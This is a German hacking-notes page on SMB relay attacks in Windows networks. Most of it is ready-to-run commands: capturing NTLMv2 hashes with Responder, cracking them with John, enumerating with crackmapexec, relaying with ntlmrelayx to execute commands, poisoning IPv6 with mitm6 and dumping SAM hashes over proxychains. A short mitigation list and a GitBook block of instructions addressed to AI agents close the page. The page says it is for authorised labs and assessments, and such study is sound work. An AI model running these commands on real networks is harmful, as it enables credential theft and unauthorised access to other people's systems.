> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/smb-relay-in-windows-environments.md).
# SMB-Relay in Windows-Umgebungen
SMB-Relay erfasst NTLM-Authentifizierung und leitet sie an einen anderen Host weiter, wenn SMB-Signing nicht erforderlich ist. Dieser Workflow ist für autorisierte Windows-Labore und interne Assessments gedacht.
## Zu überprüfende Bedingungen
* SMB-Signing ist bei mindestens einem Ziel nicht erforderlich.
* Das erfasste Konto verfügt über nützlichen Zugriff auf ein Relay-Ziel.
* Responder SMB- und HTTP-Server sind deaktiviert, wenn `ntlmrelayx` das Relay verarbeitet.
* Relay-Ziele sind aufgeführt in `targets.txt`.
## NTLMv2 mit Responder erfassen
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Windows-Netzwerke erzeugen oft automatische Authentifizierung durch Softwareinventarisierung, Administrationsaufgaben, Freigabezugriffe und Namensauflösung.
## Offline-Cracking
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```
## SMB-Enumerierung
```bash
crackmapexec smb 192.168.71.0/24
```
Kontorechte validieren:
```bash
crackmapexec smb 192.168.71.0/24 -u '' -p ''
```
## Relay mit ntlmrelayx
SMB und HTTP deaktivieren in `Responder.conf`, dann Responder ausführen:
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Das Relay starten:
```bash
ntlmrelayx.py -tf targets.txt -smb2support
```
## Validierung der Befehlsausführung über das Relay
Wenn die Befehlsausführung im Scope ist, das Relay zunächst mit einem wenig invasiven Befehl validieren:
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```
Für einen klareren Nachweis die Ausführungskontextinformationen in eine temporäre Datei auf dem Relay-Ziel schreiben:
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```
## IPv6-Variante mit mitm6
```bash
mitm6 -d j0rdan.local
```
IPv6-Relay:
```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```
Das Relay über den Proxy verwenden:
```bash
proxychains cme smb 192.168.71.151 -u '' -p '' -d '' --sam
```
## Wichtige Punkte
* SMB-Relay hängt hauptsächlich davon ab, dass SMB-Signing nicht erforderlich ist.
* Responder und `ntlmrelayx` müssen so konfiguriert werden, dass sie nicht um SMB- oder HTTP-Verkehr konkurrieren.
* Abhilfe schaffen durch das Erzwingen von SMB-Signing, die Reduzierung der NTLM-Nutzung, die Überwachung von LLMNR/NBNS/WPAD-Missbrauch und die Einschränkung lokaler Administratorrechte.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.